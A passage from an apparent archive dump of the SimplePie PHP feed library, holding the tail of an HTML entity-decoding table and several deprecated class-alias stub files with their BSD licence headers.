                    'sup2;' => "\xC2\xB2",
                    'sup3' => "\xC2\xB3",
                    'sup3;' => "\xC2\xB3",
                    'supe;' => "\xE2\x8A\x87",
                    'szlig' => "\xC3\x9F",
                    'szlig;' => "\xC3\x9F",
                    'Tau;' => "\xCE\xA4",
                    'tau;' => "\xCF\x84",
                    'there4;' => "\xE2\x88\xB4",
                    'Theta;' => "\xCE\x98",
                    'theta;' => "\xCE\xB8",
                    'thetasym;' => "\xCF\x91",
                    'thinsp;' => "\xE2\x80\x89",
                    'THORN' => "\xC3\x9E",
                    'thorn' => "\xC3\xBE",
                    'THORN;' => "\xC3\x9E",
                    'thorn;' => "\xC3\xBE",
                    'tilde;' => "\xCB\x9C",
                    'times' => "\xC3\x97",
                    'times;' => "\xC3\x97",
                    'TRADE;' => "\xE2\x84\xA2",
                    'trade;' => "\xE2\x84\xA2",
                    'Uacute' => "\xC3\x9A",
                    'uacute' => "\xC3\xBA",
                    'Uacute;' => "\xC3\x9A",
                    'uacute;' => "\xC3\xBA",
                    'uArr;' => "\xE2\x87\x91",
                    'uarr;' => "\xE2\x86\x91",
                    'Ucirc' => "\xC3\x9B",
                    'ucirc' => "\xC3\xBB",
                    'Ucirc;' => "\xC3\x9B",
                    'ucirc;' => "\xC3\xBB",
                    'Ugrave' => "\xC3\x99",
                    'ugrave' => "\xC3\xB9",
                    'Ugrave;' => "\xC3\x99",
                    'ugrave;' => "\xC3\xB9",
                    'uml' => "\xC2\xA8",
                    'uml;' => "\xC2\xA8",
                    'upsih;' => "\xCF\x92",
                    'Upsilon;' => "\xCE\xA5",
                    'upsilon;' => "\xCF\x85",
                    'Uuml' => "\xC3\x9C",
                    'uuml' => "\xC3\xBC",
                    'Uuml;' => "\xC3\x9C",
                    'uuml;' => "\xC3\xBC",
                    'weierp;' => "\xE2\x84\x98",
                    'Xi;' => "\xCE\x9E",
                    'xi;' => "\xCE\xBE",
                    'Yacute' => "\xC3\x9D",
                    'yacute' => "\xC3\xBD",
                    'Yacute;' => "\xC3\x9D",
                    'yacute;' => "\xC3\xBD",
                    'yen' => "\xC2\xA5",
                    'yen;' => "\xC2\xA5",
                    'yuml' => "\xC3\xBF",
                    'Yuml;' => "\xC5\xB8",
                    'yuml;' => "\xC3\xBF",
                    'Zeta;' => "\xCE\x96",
                    'zeta;' => "\xCE\xB6",
                    'zwj;' => "\xE2\x80\x8D",
                    'zwnj;' => "\xE2\x80\x8C"
                ];

                for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++) {
                    $consumed = substr($this->consumed, 1);
                    if (isset($entities[$consumed])) {
                        $match = $consumed;
                    }
                }

                if ($match !== null) {
                    $this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1);
                    $this->position += strlen($entities[$match]) - strlen($consumed) - 1;
                }
                break;
        }
    }
}
library/SimplePie/Restriction.php000064400000004600151024210710013106 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Restriction;

class_exists('SimplePie\Restriction');

// @trigger_error(sprintf('Using the "SimplePie_Restriction" class is deprecated since SimplePie 1.7.0, use "SimplePie\Restriction" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Restriction" instead */
    class SimplePie_Restriction extends Restriction
    {
    }
}
library/SimplePie/Core.php000064400000004274151024210710011500 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * SimplePie class.
 *
 * Class for backward compatibility.
 *
 * @deprecated Use {@see SimplePie} directly
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Core extends SimplePie
{
}
library/SimplePie/Net/IPv6.php000064400000004547151024210710012125 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Net\IPv6;

class_exists('SimplePie\Net\IPv6');

// @trigger_error(sprintf('Using the "SimplePie_Net_IPv6" class is deprecated since SimplePie 1.7.0, use "SimplePie\Net\IPv6" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Net\IPv6" instead */
    class SimplePie_Net_IPv6 extends IPv6
    {
    }
}
library/SimplePie/IRI.php000064400000004510151024210710011224 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\IRI;

class_exists('SimplePie\IRI');

// @trigger_error(sprintf('Using the "SimplePie_IRI" class is deprecated since SimplePie 1.7.0, use "SimplePie\IRI" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\IRI" instead */
    class SimplePie_IRI extends IRI
    {
    }
}
library/SimplePie/Registry.php000064400000004553151024210710012420 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Registry;

class_exists('SimplePie\Registry');

// @trigger_error(sprintf('Using the "SimplePie_Registry" class is deprecated since SimplePie 1.7.0, use "SimplePie\Registry" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Registry" instead */
    class SimplePie_Registry extends Registry
    {
    }
}
library/SimplePie/Rating.php000064400000004535151024210710012034 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Rating;

class_exists('SimplePie\Rating');

// @trigger_error(sprintf('Using the "SimplePie_Rating" class is deprecated since SimplePie 1.7.0, use "SimplePie\Rating" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Rating" instead */
    class SimplePie_Rating extends Rating
    {
    }
}
library/SimplePie/HTTP/Parser.php000064400000004573151024210710012625 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\HTTP\Parser;

class_exists('SimplePie\HTTP\Parser');

// @trigger_error(sprintf('Using the "SimplePie_HTTP_Parser" class is deprecated since SimplePie 1.7.0, use "SimplePie\HTTP\Parser" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\HTTP\Parser" instead */
    class SimplePie_HTTP_Parser extends Parser
    {
    }
}
library/SimplePie/Parser.php000064400000004535151024210710012044 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Parser;

class_exists('SimplePie\Parser');

// @trigger_error(sprintf('Using the "SimplePie_Parser" class is deprecated since SimplePie 1.7.0, use "SimplePie\Parser" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Parser" instead */
    class SimplePie_Parser extends Parser
    {
    }
}
library/SimplePie/gzdecode.php000064400000004553151024210710012374 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Gzdecode;

class_exists('SimplePie\Gzdecode');

// @trigger_error(sprintf('Using the "SimplePie_gzdecode" class is deprecated since SimplePie 1.7.0, use "SimplePie\Gzdecode" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Gzdecode" instead */
    class SimplePie_gzdecode extends Gzdecode
    {
    }
}
library/SimplePie/Parse/Date.php000064400000004563151024210710012540 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Parse\Date;

class_exists('SimplePie\Parse\Date');

// @trigger_error(sprintf('Using the "SimplePie_Parse_Date" class is deprecated since SimplePie 1.7.0, use "SimplePie\Parse\Date" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Parse\Date" instead */
    class SimplePie_Parse_Date extends Date
    {
    }
}
library/SimplePie/XML/Declaration/Parser.php000064400000004675151024210710014736 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
